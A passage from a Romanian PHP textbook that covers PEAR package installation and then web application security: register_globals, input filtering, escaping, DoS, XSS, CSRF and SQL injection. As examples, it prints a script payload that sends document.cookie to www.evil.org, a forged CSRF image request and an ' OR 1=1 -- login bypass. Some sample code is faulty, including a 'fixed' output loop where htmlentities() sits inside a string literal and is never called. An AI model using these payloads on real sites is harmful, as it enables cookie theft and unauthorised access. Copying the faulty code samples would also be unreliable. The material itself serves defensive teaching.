ini_set(”include_path”, ’ /home/user/peardir/PEAR’
. PATH_SEPARATOR . ini_get(”include_path”));

Figura A.3. Utilizaþi aplicaþia PEAR Installer


INSTALAREA PACHETELOR PEAR 287

De asemenea, trebuie sã includeþi în script fiºierul php corespunzãtor pachetului


PEAR:
include_once(”filename”);

De exemplu, pentru a utiliza în script clasa XML_RSS pentru procesarea fiºierelor


RSS (aflatã în fiºierul RSS.php din pachetul XML_RSS), utilizaþi:
include_once(”XML/RSS.php);

Instalarea manualã a pachetelor PEAR prin FTP


Puteþi instala pachetele PEAR individual. În acest caz, etapele instalãrii – descrise în
continuare – trebuie reluate pentru fiecare pachet în parte. Vom presupune cã directo-
rul-rãdãcinã (Document Root) al sitului este home/user/public_html ºi cã, la acelaºi nivel
cu acesta, aþi creat directorul includes. Astfel, directorul includes nu va accesibil prin
HTTP, dar va fi accesibil prin FTP. Etapele pe care trebuie sã le parcurgeþi sunt
urmãtoarele:
• descãrcaþi în sistemul local pachetul care trebuie instalat;
• dezarhivaþi pachetul respectiv;
• încãrcaþi pe server fiºierul (inclus în pachet) care conþine codul-sursã. Dacã, de
exemplu, doriþi sã instalaþi pachetul XML_RSS, încãrcaþi pe server fiºierul RSS.php
în directorul includes/RSS/;
• modificaþi valoarea directivei include_path, astfel încât aceasta sã conþinã ºi locaþia în
care aþi încãrcat codul-sursã. Presupunând cã nu aveþi acces la fiºierul de configurare
php.ini, este necesar ca, la începutul fiecãrui scrip, PHP, sã setaþi directiva respectivã
astfel:

ini_set(”include_path”, ’ /home/user/includes/’
. PATH_SEPARATOR . ini_get(”include_path”));

Pachetul instalat poate fi utilizat folosind instrucþiunea include_once():


include_once(”filename”);
De exemplu, pentru utilizarea pachetului XML_RSS, trebuie sã utilizaþi secvenþa:
include_once(”RSS/RSS.php”);

Astfel, începutul fiecãrui script PHP care utilizeazã pachetul XML_RSS trebuie sã
conþinã secvenþa de cod urmãtoare:
<?php
ini_set(”include_path”, ’ /home/user/public_html/includes/’
. PATH_SEPARATOR . ini_get(”include_path”));
include_once(”RSS/RSS.php”);
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
?>
288 ANEXA A

De asemenea, este necesar sã instalaþi ºi alte pachete, pentru satisfacerea depen-


denþelor PEAR. De exemplu, pe lângã pachetul XML_RSS trebuie sã instalaþi ºi pachetul
XML_Tree.
Iatã un exemplu de script PHP utilizat pentru procesarea unui fiºier RSS (rss_file.rss):
<!DOCTYPE html
PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”
”DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<body>
<?php
ini_set(”include_path”, ’/home/user/includes/’
. PATH_SEPARATOR . ini_get(”include_path”));
require_once ”XML/RSS.php”;
$feed =”rss_file.rss”;
$rss = &new XML_RSS($feed);
$rss->parse();
foreach ($rss->getItems() as $item) {
$headline = ”<a href=\”{$item[’link’]}\”>{$item[’title’]}</a>”;
$date = ”{$item[’pubdate’]}”;
$desc = ”{$item[’description’]}”;
echo $headline.”<br />”.
$date.”<br />”.
$desc.”<br /><br />”;
}
?>
</body>
</html>
Este necesar ca fiºierul rss_file.rss ºi cel care include scriptul PHP sã se gãseascã în
acelaºi director.
INSTALAREA PACHETELOR PEAR 289

ANEXA B

Securitatea aplicaþiilor Web


„Cel mai groaznic lucru
este nedreptatea înzestratã cu arme.”
Aristotel

În aceastã anexã sunt prezentate informaþii despre asigurarea


securitãþii aplicaþiilor Web, tipuri de atacuri la care ele pot fi supuse,
precum ºi modalitãþi de evitare a acestora.

Aspecte generale
Securitatea informaticã se defineºte ca fiind protecþia datelor într-un sistem informatic,
implicând comunicarea, stocarea ºi procesarea acestora.
Asigurarea securitãþii unui sistem informatic se referã la urmãtoarele aspecte:
• integritatea (asigurã persoanele care utilizeazã sistemul cã datele sunt corecte);
• confidenþialitatea (informaþiile sunt folosite numai de cãtre persoanele autorizate);
• valabilitatea (datele stocate sunt disponibile oricând este nevoie de ele).
Securitatea unui sistem informatic trebuie sã fie o preocupare constantã pentru
programatori (ºi, evident, nu numai pentru ei), în fiecare etapã a dezvoltãrii
sistemului. Pe de altã parte, posibilitatea de utilizare a unui sistem se poate
reduce odatã cu creºterea securitãþii acestuia. Din acest motiv, trebuie întotdeauna sã se
asigure un echilibru între securitate ºi posibilitatea de utilizare a unui sistem.
Atunci când se vorbeºte despre securitatea aplicaþiilor Web, se utilizeazã termeni ca risks
(riscuri), threats (ameninþãri) ºi vulnerabilities (vulnerabilitãþi). Riscul reprezintã posibilitatea
de a suferi pagube sau pierderi. Ameninþarea este o expresie a intenþiei de a produce pagube,
rãu sau de a pedepsi. Vulnerabilitatea înseamnã un gol de securitate al aplicaþiei, adicã o
slãbiciune a acesteia, care permite utilizatorilor neautorizaþi sã aibã acces asupra sa. Vulne-
rabilitãþile unei aplicaþii pot avea drept cauzã un design prost al acesteia, o implementare
greºitã, dar ºi o administrare incorectã. O ameninþare poate exploata o vulnerabilitate.
PHP este un limbaj de programare ºi un interpretor utilizat într-un server Web ca modul
sau executat separat prin intermediul CGI (Common Gateway Interface). Din acest motiv,
scripturile PHP pot sã acceseze sistemul de fiºiere al serverului, sã deschidã conexiuni cu
alte servere, sã execute comenzi, sã interacþioneze cu bazele de date etc. Posibilitãþile PHP
enumerate ridicã problema securitãþii aplicaþiilor Web scrise în limbajul PHP.
290 ANEXA B

Tipuri de atacuri ºi metode de prevenire


Un atacator este o persoanã care pãtrunde în mod neautorizat într-un sistem informatic
cu scopul de a fura sau distruge date, precum ºi de a produce pagube. Aplicaþiile Web
sunt vulnerabile atunci când, prin intermediul lor, se pot lansa atacuri asupra sistemelor
care le gãzduiesc.
Atacurile lansate la adresa aplicaþiilor Web pot fi realizate prin:
• accesul-utilizator (atac prin utilizarea unui cont obiºnuit sau cu privilegii mãrite);
• accesul de la distanþã (nu necesitã acces-utilizator în sistem; determinã refuzuri de
servicii prin realizarea unor cereri în cascadã; aceste atacuri sunt DoS – Denial of
Service – ºi DDoS – Distributed DoS);
• accesul de la distanþã la aplicaþiile Web:
o atacuri Cross-Site; acestea, la rândul lor, pot fi:
– atacuri XSS (Cross-Site Scripting);
– atacuri CSRF (Cross-Site Request Forgeries);
o SQL Injection.
Iatã câteva metode care pot fi utilizate în scopul asigurãrii securitãþii aplicaþiilor Web
ºicare permit evitarea atacurilor enumerate anterior:
• folosirea valorii Off a directivei register_globals;
• filtrarea datelor;
• utilizarea mecanismului de escaping;
• folosirea unor privilegii reduse (aplicaþia trebuie proiectatã astfel încât sã utilizeze un
numãr cât mai mic de privilegii, adicã numai cele necesare pentru asigurarea
funcþionalitãþii sale);
• utilizarea ºi reutilizarea în aplicaþie a unor componente (e.g., scripturi) deja testate;
• crearea unui sistem de securitate simplu (de multe ori existã tentaþia de a realiza
sisteme de securitate extrem de complexe, în vreme ce realitatea demonstreazã cã
sistemele simple sunt mai eficiente);
• utilizarea unui firewall (poate fi folosit, printre altele, pentru stocarea atacurilor DoS).
În continuare, vom detalia primele trei metode.

Valoarea Off a directivei register_globals


Începând cu versiunea 4.2.0, directiva register_globals este setatã implicit în php.ini
la valoarea Off. Iatã un exemplu (vezi ºi manualul PHP) care demonstreazã cã valoarea
On a acestei directive este un factor de risc:
<?php
if(authenticaded_user())
$authorized = true;
if($authorized) {
include(”/highly_sensitive_data/info.php”)
}
?>
SECURITATEA APLICAÞIILOR WEB 291

Dacã register_globals are valoarea On, pagina anterioarã poate fi accesatã utilizând
?authorized=1 în ºirul de interogare. Astfel, un utilizator neautorizat poate avea acces
în sistem. Dacã register_globals are valoarea Off , datele obiºnuite (aºa cum este
$authorized ) utilizate în script nu sunt afectate de datele trimise de utilizator.
Desigur cã, dacã scriptul anterior include la începutul lui linia $authorized=false;
(adicã se realizeazã iniþializarea variabilei), atunci utilizatorul neautorizat nu mai poate
pãcãli scriptul, chiar dacã directiva register_globals are valoarea On.
Setarea la valoarea Off a directivei implicã preluarea în script a datelor (trimise de
utilizator) prin intermediul tablourilor globale $_GET, $_POST, $_COOKIE, $_SESSION
ºi $_SERVER. În felul acesta, puteþi sã controlaþi sursa datelor care intrã în sistem.
În concluzie: setaþi la valoarea Off directiva register_globals (dacã aveþi acces la
fiºierul de configurare php.ini) ºi – în mod obligatoriu – iniþializaþi la începutul scriptului
variabilele utilizate!

Filtrarea datelor
Prin filtrare se înþelege implementarea a unui mecanism prin care se valideazã datele
introduse în aplicaþie. Mecanismul de filtrare a datelor trebuie astfel realizat încât sã:
• nu poatã fi ocolit (voluntar sau involuntar);
• nu permitã ca date invalide sã treacã drept date valide ºi invers.
Filtrarea datelor presupune:
• determinarea surselor datelor prin utilizarea tablourilor globale $_GET, $_POST,
$_COOKIE, $_SESSION ºi $_SERVER;
• validarea datelor: aceasta înseamnã cã, înainte de a fi utilizate, trebuie sã se verifice
dacã datele respectã un anumit format (de exemplu, cel al unei adrese de e-mail) sau
dacã nu includ anumite caractere interzise;
• utilizarea unei convenþii de nume stricte pentru date;
• utilizarea unei abordãri de tip listã albã (white list) pentru datele validate (aplicaþia
va utiliza numai datele conþinute în aceastã listã, iar datele vor fi incluse în listã
numai dupã filtrarea lor).
Iatã un exemplu în care se realizeazã filtrarea datelor:
<?php
$clean = array();
if(isset(($_POST[’color’])) {
$color == $_POST[’color’]
if($color == ”red” || $color == ”blue” || $color == ”green”))
$clean[’color’] = $_POST[’color’];
}
?>
292 ANEXA B

Utilizarea mecanismului de escaping


Datele utilizate de aplicaþie sunt trimise cãtre browser, baze de date, feed-uri RSS etc.
Înainte de a fi trimise spre destinaþie, trebuie utilizat mecanismul de escaping. Cele mai
comune destinaþii sunt browserul ºi bazele de date. În primul caz, utilizaþi funcþia
htmlentities() sau strip_tags(), iar în doilea caz, mysql_escape_string()
(mysql_real_escape_string() ) sau addslashes().
Funcþiile enumerate anterior au urmãtoarele prototipuri:
string htmlentities(string string [, int quote_style [, string
charset]])

Funcþia transformã toate caracterele din ºirul string care au entitãþi HTML echi-
valente în aceste entitãþi ºi întoarce ºirul astfel obþinut ( & devine &amp;, ” devine &quot;,
’ devine ’’, < devine &lt;, > devine &gt;, (c) devine &copy;, (r) devine &reg;
etc.). Argumentul opþional quote_style precizeazã ce se va întâmpla cu ghilimelele
simple ºi duble (sunt posibile trei valori: ENT_COMPAT – converteºte ghilimelele duble –,
ENT_QUOTES – converteºte ambele tipuri de ghilimele – ºi ENT_NOQUOTES – nu converteºte
ghilimelele, prima fiind valoarea implicitã). Argumentul opþional charset precizeazã
setul de caractere utilizat în conversie (setul de caractere utilizat implicit este
ISO-8859-1). Iatã un exemplu de utilizare a acestei funcþii:

<?php
$html = array();
$html[’user’] = htmlentities($clean[’user’],ENT_QUOTES,’UTF-8’);
echo ”<p>Bine ai venit {$html[’user’]}.</p>”;
?>
string strip_tags(string string [, string allowable_tags])
Funcþia întoarce ºirul string având eliminate tag-urile XHTML ºi PHP. Parametrul
opþional allowable_tags precizeazã tag-urile care nu vor fi eliminate din ºir. Este bine
sã se elimine <script>, <iframe>, <img>, marcajele pentru formatarea textului etc.).
string mysql_escape_string ( string unescaped_string)
Funcþia întoarce ºirul transmis ca argument dupã ce asupra acestuia este aplicat
mecanismul de escaping asupra ghilimelelor. ªirul întors poate fi utilizat, astfel, de
funcþia mysql_query() pentru a trimite interogãri MySQL, ca în exemplul urmãtor:
<?php
$mysql = array();
$mysql[’user’] = mysql_real_escape_string($clean[’user’]);
$sql = ”SELECT * FROM users WHERE
username = ’{$mysql[’user’]}’”;
$result = mysql_query($sql);
?>
SECURITATEA APLICAÞIILOR WEB 293

Atacuri Denial of Service


Stiva de protocoale TCP/IP nu este perfectã, având anumite breºe în securitate care pot
afecta în mod considerabil siguranþa sistemului. Din acest motiv sunt necesare mãsuri
care sã previnã posibilele efecte negative ale acþiunilor unor persoane ce exploateazã în
mod intenþionat aceste deficienþe, în scopul de a aduce serverul în stare de nefuncþionare.
Breºele în securitate permit o categorie de atacuri asupra serverului cunoscutã sub
numele Denial of Service (DoS).
Atacurile DoS îºi propun sã forþeze sistemul atacat sã utilizeze foarte multe
resurse, astfel încât sã nu mai poatã rãspunde la solicitãri legitime sau sã
blocheze accesul utilizatorilor autorizaþi. Aceste atacuri nu furã ºi nu distrug
informaþia aflatã pe serverul atacat, dar îi consumã resursele de calcul.
Dacã atacul este lansat simultan de pe mai multe calculatoare, el se numeºte DDoS
(Distributed DoS). În continuare sunt prezentate douã tipuri de atacuri care fac parte din
categoria Denial of Service.
Unul dintre atacurile DoS este SYN Flooding. Conexiunea TCP dintre douã procese
se realizeazã printr-un procedeu cunoscut sub numele de three-way handshake (confir-
mare triplã). Procedeul presupune parcurgerea a trei etape, în care procesele schimbã
anumite pachete de date. În continuare sunt descrise, pe scurt, cele trei etape:
• procesul-client trimite procesului-server o cerere pentru stabilirea conexiunii sub
forma unui pachet de sincronizare SYN (cerere de conectare);
• dupã primirea pachetului SYN, serverul trimite (dacã este posibilã conexiunea) un
pachet SYN/ACK de acceptare a conexiunii, cerând ºi sincronizare din partea
clientului (acceptarea conectãrii);
• dupã ce primeºte pachetul SYN/ACK, procesul-client trimite serverului un pachet ACK
(confirmare de acceptare a conectãrii), moment în care se realizeazã conexiunea.
Dupã ce trimite pachetul SYN/ACK, serverul intrã într-o perioadã determinatã de
aºteptare, pânã la primirea pachetului ACK de la client. Dupã expirarea acestei perioade,
dacã nu s-a realizat conexiunea, serverul îºi reia activitatea specificã. Dacã însã serverul
primeºte un numãr foarte mare de cereri pentru conexiuni care nu pot fi realizate, îºi
consumã resursele pentru memorarea lor sau chiar se poate bloca. Modalitatea prin
care clientul trimite serverului cereri de conectare ce nu se pot realiza constã în
utilizarea unor programe care schimbã adresa IP a sursei cu una falsã (în momentul
trimiterii pachetului de sincronizare SYN). Serverul va trimite pachetul SYN/ACK la
aceastã adresã, aºteptând sã primeascã rãspuns (i.e., pachetul ACK de la client).
Pentru stoparea atacurilor SYN Flooding, bazate pe adrese IP false, este necesarã
utilizarea unui firewall.
Un program de tip firewall, instalat pe serverul reþelei de calculatoare care se
doreºte a fi protejatã, asigurã securitatea acesteia împotriva atacurilor venite din
exterior, având rolul de a monitoriza, controla ºi, dacã este necesar, respinge
pachetele de date incluse în traficul reþelei protejate.
Firewall-urile se pot clasifica în urmãtoarele categorii:
294 ANEXA B

• firewall filtru de pachete: în funcþie de protocolul de comunicare utilizat, de adresa


IP ºi de portul-sursã sau destinaþie, se stabilesc reguli care sã permitã sau nu trecerea
unui pachet de date;
• firewall server proxy; se utilizeazã urmãtoarele douã modele:
o Circuit Level Gateway (face o filtrare sumarã a pachetelor);
o Application Level Gateway (þine cont de aplicaþiile care schimbã pachete);
• firewall bazat pe controlul stãrii conexiunii ºi pe istoricul acesteia (dacã o conexiune
a fost consideratã la un moment dat sigurã, se verificã dacã starea actualã a conexiunii
este în concordanþã cu cea anterioarã).
Un firewall eficient trebuie sã includã ºi un sistem de detectare a posibilelor
atacuri (Intrusion Detection System). Versiunile de kernel Linux începând cu
2.0.30 permit configurarea serverului astfel încât atacurile SYN Flooding sã nu
blocheze accesul celorlalþi utilizatori în sistem.
Un alt atac DoS este Ping Flooding. Atacatorul trimite un numãr mare de pachete
ICMP (Internet Control Message Protocol) cãtre sistemul pe care doreºte sã-l atace.
Dacã atacatorul are la dispoziþie o lãrgime de bandã superioarã sistemului atacat, acesta
din urmã nu va putea trimite date în reþea. O variantã a acestui atac este smurfing, care
face ca detectarea sursei atacului sã fie mai greu de realizat. Atacul Ping Flooding poate
fi stopat la nivelul router-ului sau de cãtre un firewall.

Atacuri Cross-Site Scripting


Definiþie. Explicaþii
Atacurile Cross-Site Scripting (XSS sau CSS) se pot produce atunci când paginile Web
generate dinamic afiºeazã date care nu sunt validate. Tehnica utilizatã de atacatori, care
exploteazã încrederea utilizatorilor într-un anumit sit Web, constã în introducerea de cod
pentru execuþia pe sistemul atacat. În mod uzual, codul este scris în JavaScript ºi
XHTML, dar ºi în VBScript, ActiveX, Java ºi Flash (pot fi folosite ºi alte tehnologii
suportate de browsere).
Scopul atacurilor XSS este de a fura cookie-urile clienþilor sau de a obþine alte
informaþii prin intermediul cãrora aceºtia se identificã pe un sit Web. Din acest
motiv, ele constituie un atac la intimitatea clienþilor unui sit Web ºi pot conduce
la o breºã de securitate majorã. Aceste atacuri nu sunt personale, în sensul cã nu vizeazã
un anumit utilizator.
Spre deosebire de alte atacuri, care implicã douã pãrþi – atacatorul ºi situl Web –,
atacurile XSS implicã trei pãrþi: atacatorul, situl Web (sistemul vulnerabil) ºi clienþii
sitului (sistemele atacate).
Atacurile XSS implicã, în general, situri care manipuleazã date externe. Pentru a
reduce ºansele de reuºitã ale atacurilor XSS trebuie sã porniþi de la premisa cã
datele introduse în sistem sunt potenþial periculoase pentru securitatea acestuia.
Cu alte cuvinte, nu aveþi încredere în datele externe! Acestea provin (depinzând de
funcþionalitatea aplicaþiei) în principal de la formulare completate de utilizatori, Webmail,
baze de date externe ºi fiºiere XML/RSS.
SECURITATEA APLICAÞIILOR WEB 295

Pericolul reprezentat de atacurile XSS devine real atunci când datele stocate în baza
de date a aplicaþiei ºi în fiºierele utilizate de aceasta sau care vin dintr-o sursã externã
sunt afiºate într-o paginã Web de cãtre alþi utilizatori deoarece browserele acestora
executã codul introdus de atacator.
În continuare, este descris scenariul dupã care se desfãºoarã un atac XSS:
• atacatorul viziteazã un sit vulnerabil;
• atacatorul posteazã pe situl respectiv cod JavaScript (în mod obiºnuit, codul postat
trimite informaþii la un alt sit – denumit cross-site –, care poate fi chiar situl
atacatorului);
• un utilizator oarecare viziteazã situl vulnerabil;
• acesta încarcã o paginã ce conþine codul introdus de utilizator, care va fi executat. În
urma execuþiei codului JavaScript, se trimit la situl atacatorului informaþii importante
referitoare la utilizatorul respectiv.

Exemplu
Scenariile dupã care se desfãºoarã atacurile XSS sunt limitate numai de imaginaþia
atacatorului. În continuare, vom prezenta un exemplu în care un atacator intrã în posesia
cookie-urilor unui utilizator ºi apoi le utilizeazã pentru a folosi contul acestuia. În acest
exemplu, atacatorul introduce cod JavaScript într-o bazã de date prin intermediul unei
aplicaþii PHP. Salvaþi în fiºierul xss.php scriptul prezentat ºi executaþi-l (http://127.0.0.1/
securitate/xss.php). Sã presupunem cã o aplicaþie colecteazã datele utilizatorilor (nume
de utilizator ºi parolã) în tabelul MySQL users:
<?php
if (!get_magic_quotes_gpc()) {
$_POST[’username’] = mysql_real_escape_string
($_POST[’username’]);
$_POST[’email’] = mysql_real_escape_string ($_POST[’email’]);
}
$sql = ”INSERT INTO users(username, email)
VALUES(’{$_POST[’username’]}’, ’{$_POST[’email’]}’)”;
$result = mysql_query($sql);
?>
Funcþia get_magic_quotes_gpc() întoarce configuraþia curentã a directivei
magic_quotes_gpc din fiºierul php.ini (0 pentru Off ºi 1 pentru On). Dacã directiva are
valoarea On, nu mai este necesarã utilizarea funcþiei de escaping. Dupã cum se poate
constata, înainte de stocarea datelor, este utilizatã funcþia de escaping mysql_real_
escape_string(), ceea ce este corect!
Presupunem cã tabelul users este accesibil administratorului prin intermediul urmã-
torului script (care nu face altceva decît sã afiºeze datele incluse în tabelul respectiv):
. . . . . . . . . . . . . . .
<table border=”1” cellpadding=”2”>
    <tr>
        <th>Username</th>
296 ANEXA B

        <th>Email</th>
    </tr>
<?php
$sql = ”SELECT username, email FROM users”;
$result = mysql_query($sql);
while ($current_user = mysql_fetch_array($result)) {
echo ”<tr>
         <td>{$current_user[’username’]}</td>
         <td>{$current_user[’email’]}</td>
         </tr>”;
}
?>
</table>
. . . . . . . . . . . . . . .

Dacã un utilizator introduce drept nume de utilizator (user name) o secvenþã JavaScript
similarã cu:
<script>alert(”Te-am pacalit!”)</script>

lucrurile nu sunt grave, deoarece (atunci când scriptul va fi executat de administrator) se


va afiºa o casetã JavaScript care va conþine ºirul ”Te-am pacalit!”. În schimb, dacã
presupunem cã un utilizator rãu intenþionat a introdus ca nume de utilizator (user name)
urmãtoarea secvenþã:
<script>
document.location = ’http://www.evil.org/thief.php?
cookies=’ + document.cookie
</script>

la momentul execuþiei scriptului, toate variabilele cookie de pe calculatorul admi-


nistratorului sunt trimise scriptului thief.php, la adresa www.evil.org, accesate de acesta
prin intermediul variabilei $_GET[’cookies’] ºi utilizate, ulterior, pentru a lansa
atacuri asupra sistemului administratorului. Una dintre soluþiile care pot fi utilizate
pentru evitarea acestei situaþii constã în folosirea funcþiei htmlentities() în secvenþa
de afiºare a datelor din tabelul users:
while ($current_user = mysql_fetch_array($result)) {
    echo ”<tr>
         <td>htmlentities($current_user[’username’])</td>
         <td>htmlentities($current_user[’email’])</td>
         </tr>”;
}

În exemplul prezentat, sistemul atacat este chiar serverul pe care atacatorul a stocat
codul JavaScript (sistemul vulnerabil).
SECURITATEA APLICAÞIILOR WEB 297

Prevenire
Dupã cum se constatã ºi din exemplul anterior, pentru evitarea producerii atacurilor XSS
se impun urmãtoarele reguli de bazã:
• filtrarea datelor care vin din surse externe (asiguraþi-vã cã datele care vin din aceste
surse corespund cu datele aºteptate);
• utilizarea valorii Off a directivei register_globals;
• folosirea unei convenþii de nume stricte pentru date;
• utilizarea unei abordãri de tip listã albã (white list) pentru date;
• instalarea unui firewall pe server (care inspecteazã datele sosite ºi le respinge dacã
includ cod XHTML sau JavaScript);
• utilizarea mecanismului de escaping la afiºarea datelor.

Atacuri Cross-Site Request Forgeries


Definiþie. Explicaþii
Atacurile CSRF (Cross-Site Request Forgeries) exploteazã încrederea unui sit Web în
utilizatorii sãi, atacatorii folosind aceastã încredere în scopuri personale. Ele implicã
siturile Web care se bazeazã pe identitatea utilizatorilor. Anumiþi utilizatori care – dupã
operaþia de login pe un astfel de sit – obþin privilegii mãrite devin victime potenþiale.
Atacurile CSRF sunt mult mai periculoase, mai puþin rãspândite ºi mai greu de prevenit
decât atacurile XSS.
Atacurile CSRF se pot desfãºura împotriva unui utilizator într-un forum (ataca-
torul posteazã un mesaj în numele unui utilizator, fãrã ºtiinþa acestuia) sau a
unui cumpãrãtor într-un magazin virtual (atacatorul cumpãrã produse în numele
unui utilizator, fãrã ºtiinþa acestuia). Atacurile CSRF nu sunt personale, în sensul cã nu
vizeazã un anumit utilizator.
Se ºtie cã Web-ul este un mediu client-server în care clientul (browserul) ºi serverul
utilizeazã protocolul HTTP pentru a comunica: browserul lanseazã cereri HTTP cãtre
server, iar acesta îi trimite rãspunsuri HTTP. Cererile ºi rãspunsurile HTTP includ
anteturi HTTP. Atacurile CSRF implicã falsificarea anteturilor HTTP, scopul acestor
acþiuni fiind de a pãcãli un utilizator sã trimitã anumite cereri HTTP. Pentru a falsifica
cererea HTTP, cele mai multe tipuri de atacuri CSRF utilizeazã elementul XHTML img ,
acesta având ca valoare a atributului src nu URL-ul unei imagini, ci al unui script.
Scenariul dupã care se desfãºoarã un atac CSRF este urmãtorul:
• atacatorul viziteazã situl vulnerabil;
• atacatorul exploteazã vulnerabilitatea sitului postând un marcaj img sau alt cod (prin
XSS). În mod obiºnuit, codul postat determinã efectuarea unei cereri HTTP cãtre
acest sit sau cãtre altul, denumit cross-site;
• un utilizator oarecare viziteazã situl vulnerabil ºi încarcã pagina care conþine codul
introdus de atacator;
• astfel, utilizatorul respectiv determinã trimiterea unei cereri HTTP cãtre cross-site.
298 ANEXA B

Exemplu
Pentru a înþelege cum se realizeazã atacurile CSRF, vã prezentãm un exemplu. Fie un
forum fictiv (www.forum.org), care foloseºte un formular pentru posturi:
<table><form action=”/add_post.php”>
<tr>
<td>Subject</td>
<td><input type=”text” name=”subject” />
</td>
</tr>
<tr>
<td>Message</td>
<td><textarea name=”message”></textarea></td>
</tr>
<tr>
<td><input type=”submit” value=”Adauga mesaj” /></td>
</tr>
</form></table>
Deoarece nu este specificatã metoda prin care datele sunt transmise serverului, va fi
utilizatã metoda implicitã GET, iar datele incluse de utilizator în formular vor fi adãugate
URL-ului resursei cerute, add_post.php. Antetul HTTP al cererii va fi similar cu:
GET /add_post.php?subject=ceva&message=ura HTTP/1.1
Host: wwww.forum.org
Cookie: PHPSESSID=8d89d934175be7411a25ff0bbb1fab5b

Am presupus cã identificatorul de sesiune este stocat într-un cookie. Dacã cineva vrea
sã falsifice mesajele pe acest forum, tot ceea ce trebuie sã facã este sã copieze formatul
acestei cereri ºi sã o trimitã la victimã (prin intermediul unei pagini). Fie urmãtorul
element:
<img src=”http://www.forum.org/add_post.php?
subject=bad_subject&message=bad_message” />
Când browserul cere aceastã imagine, cererea HTTP va avea acelaºi format cu
cererea anterioarã, inclusiv cookie-ul utilizat pentru managementul sesiunii. Cu o simplã
schimbare în acest URL, un atacator poate modifica subiectul ºi conþinutul mesajului,
trimiþând orice doreºte.

Prevenire
Pentru prevenirea atacurilor CSRF trebuie respectate urmãtoarele reguli:
• utilizarea în formulare a metodei POST;
• folosirea unui semn (token) aleatoriu pentru a confirma cã utilizatorul foloseºte
formularul din care se presupune cã trimite datele;
• utilizarea valorii Off a directivei register_globals.
SECURITATEA APLICAÞIILOR WEB 299

SQL Injection
Definiþie. Explicaþii
SQL Injection este o tehnicã prin care un atacator creeazã sau schimbã comenzi SQL
existente, prin utilizarea unei aplicaþii (sit Web), folosind caractere speciale, în scopul de
a obþine acces neautorizat (prin ocolirea mecanismului de autentificare) la date stocate în
baze de date ºi de a realiza citirea, adãugarea ºi modificarea acestora, precum ºi crearea
unor noi conturi de utilizator.
Realizarea unor atacuri de acest tip este – de multe ori – consecinþa unei insuficiente
filtrãri a datelor. Atacurile SQL Injection pot fi blocate printr-o filtrare corectã.
Rezultã cã acest tip de atac este posibil din cauza vulnerabilitãþii aplicaþiilor ºi nu a
unor probleme ale serverelor de baze de date sau ale serverelor Web.
Efectele atacurilor SQL Injection depind de codul utilizat de atacator, de importanþa
datelor stocate în baza de date, de gradul de filtrare a datelor, dar ºi de posibilitatea ca
serverul de baze de date sã permitã interogãri multiple.
Este posibil ca utilizatorul sã trimitã simultan interogãri multiple, dacã le separã prin
punct ºi virgulã. Ultimele versiuni de MySQL permit trimiterea de interogãri multiple,
dar extensia PHP ext/msqli obligã la folosirea unei anumite funcþii pentru trimiterea lor
(mysqli_multi_query() în loc de mysqli_query()). Este indicat sã permiteþi
folosirea unei singure interogãri la un moment dat.

Exemplu
În continuare vom prezenta un exemplu de atac SQL Injection. Sã presupunem cã
interogarea utilizatã pentru a realiza operaþia de login este similarã cu:
SELECT * FROM users
WHERE username = ’mihai’
AND password = ’123456789’
În scriptul PHP, variabila $query care va fi pasatã ca argument funcþiei mysql_query()
se va scrie astfel:
$query = ”SELECT * FROM users WHERE username = ’”.$form_user.”’
AND password = ’”.$form_password.”’”;
unde $form_user ºi $form_password sunt datele introduse de cãtre utilizator în
formularul de login.
Dacã utilizatorul introduce în formular:
• ca nume de utilizator (care se va regãsi în $query ca valoare a variabilei $form_user):
’’ OR 1=1 --
• ca parolã (care se va regãsi ca valoare a variabilei $form_passw) orice doreºte:
anything
variabila $query va arãta astfel:
$query = ”SELECT * FROM users WHERE username=’’ OR 1=1 --
AND password=’anything’”;
300 ANEXA B

Caracterele -- determinã ca restul interogãrii MySQL sã fie considerat drept comen-


tariu de cãtre serverul MySQL. Interogarea va întoarce toate rândurile tabelului users,
deoarece ele respectã condiþia impusã de clauza WHERE: username=’’ OR 1=1, iar
utilizatorul va fi logat!
Dupã cum puteþi observa, caracterul ’ (ghilimele simple) este cel care dã
posibilitatea realizãrii atacului SQL Injection. Acest caracter închide ºirurile,
orice este situat dupã el fiind considerat ca fãcând parte din interogarea SQL.
Atacul SQL Injection prezentat anterior poate fi evitat dacã se impune condiþia ca
datele provenite de la utilizator sã nu conþinã caracterele -- ºi # (utilizate pentru comentarii
în limbajul SQL) ºi dacã aceste date sunt pasate funcþiei mysql_escape_string()
înainte de a le utiliza în interogarea SQL.

Prevenire
În general, pentru a realiza protecþia aplicaþiilor împotriva atacurilor SQL Injection, este
indicat:
• sã se filtreze toate datele;
• sã se punã toate datele între ghilimele simple la introducerea lor în baza de date;
• sã se foloseascã o funcþie pentru escaping, de exemplu, mysql_escape_string(),
mysql_real_escape_string() sau addslashes();
• sã se utilizeze valoarea Off a directivei magic_quotes_gpc.
Aplicaþia Web care utilizeazã baza de date trebuie sã aibã ca drepturi de acces la
bazele de date numai pe acelea care sunt necesare pentru buna ei funcþionare. De
exemplu, dacã modul de funcþionare a aplicaþiei nu implicã modificarea informaþiilor
stocate în baza de date utilizatã de aceºtia, atunci permisiunea UPDATE nu este necesarã!

Afiºarea erorilor
Fiºierul de configurare php.ini include câteva directive care se referã la modul în care
sunt afiºate ºi stocate erorile generate în cursul execuþiei scripturilor PHP. Dintre aceste
erori amintim:
error_reporting
Aceastã directivã permite stabilirea nivelului de raportare a erorilor. Sunt posibile
mai multe valori ale acestei directive (11 în PHP 4 ºi 13 în PHP 5), cât ºi combinaþii ale
acestora. Este preferabil ca, atât în cursul dezvoltãrii aplicaþiei, cât ºi în cel al exploatãrii
acesteia, sã setaþi aceastã directivã la valoarea E_ALL. În acest fel, vor fi raportate toate
erorile generate.
display_errors
Aceastã directivã determinã afiºarea (valoarea On) sau neafiºarea (valoarea Off) pe
ecran a erorilor. Este indicat ca, în cursul dezvoltãrii aplicaþiei, sã setaþi aceastã directivã
la valoarea On, iar în cursul exploatãrii, la valoarea Off (mesajele de eroare sunt extrem
de utile pentru un atacator ºi, din acest motiv, nu trebuie afiºate).
SECURITATEA APLICAÞIILOR WEB 301

log_errors
Aceastã directivã determinã dacã erorile sunt scrise (valoarea On) sau nu (valoarea
Off) într-un jurnal de erori. Este recomandat sã utilizaþi permanent valoarea On (în
cursul dezvoltãrii, dar ºi al exploatãrii aplicaþiei).
error_log
